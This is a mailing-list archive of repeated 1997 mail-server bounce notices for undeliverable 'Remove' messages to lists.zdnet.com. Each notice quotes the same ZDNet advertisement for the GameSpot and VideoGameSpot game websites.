MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id na219843; Tue, 25 Feb 1997 17:09:29 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:29 -0500
>Message-Id: <22092963845850@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:10 -0800 (PST)
Subject: Failed mail
Message-ID: <oa219844.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id oa219844; Tue, 25 Feb 1997 17:09:30 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:30 -0500
>Message-Id: <22093095045851@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:04:28 -0800 (PST)
Subject: Failed mail
Message-ID: <ka219840.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ka219840; Tue, 25 Feb 1997 17:09:25 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:25 -0500
>Message-Id: <22092560245847@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:52 -0800 (PST)
Subject: Failed mail
Message-ID: <pa219845.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id pa219845; Tue, 25 Feb 1997 17:09:32 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:32 -0500
>Message-Id: <22093222145852@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:13 -0800 (PST)
Subject: Failed mail
Message-ID: <ta219849.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ta219849; Tue, 25 Feb 1997 17:09:37 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:37 -0500
>Message-Id: <22093754945856@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:17 -0800 (PST)
Subject: Failed mail
Message-ID: <sa219848.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id sa219848; Tue, 25 Feb 1997 17:09:36 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:36 -0500
>Message-Id: <22093626745855@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:04:47 -0800 (PST)
Subject: Failed mail
Message-ID: <ra219847.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219847; Tue, 25 Feb 1997 17:09:34 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:34 -0500
>Message-Id: <22093491545854@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:19 -0800 (PST)
Subject: Failed mail
Message-ID: <qa219846.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id qa219846; Tue, 25 Feb 1997 17:09:33 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:33 -0500
>Message-Id: <22093348345853@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:55 -0800 (PST)
Subject: Failed mail
Message-ID: <wa219852.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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Please check you have entered the email address correctly.
---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id wa219852; Tue, 25 Feb 1997 17:09:41 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:41 -0500
>Message-Id: <22094158545859@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:40 -0800 (PST)
Subject: Failed mail
Message-ID: <xa219853.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id xa219853; Tue, 25 Feb 1997 17:09:43 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:43 -0500
>Message-Id: <22094312745860@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:08 -0800 (PST)
Subject: Failed mail
Message-ID: <ya219854.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ya219854; Tue, 25 Feb 1997 17:09:44 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:44 -0500
>Message-Id: <22094445945861@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:50 -0800 (PST)
Subject: Failed mail
Message-ID: <ua219850.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ua219850; Tue, 25 Feb 1997 17:09:38 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:38 -0500
>Message-Id: <22093885145857@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:00 -0800 (PST)
Subject: Failed mail
Message-ID: <va219851.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id va219851; Tue, 25 Feb 1997 17:09:40 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:40 -0500
>Message-Id: <22094025345858@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:10 -0800 (PST)
Subject: Failed mail
Message-ID: <za219855.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id za219855; Tue, 25 Feb 1997 17:09:45 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:45 -0500
>Message-Id: <22094576145862@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
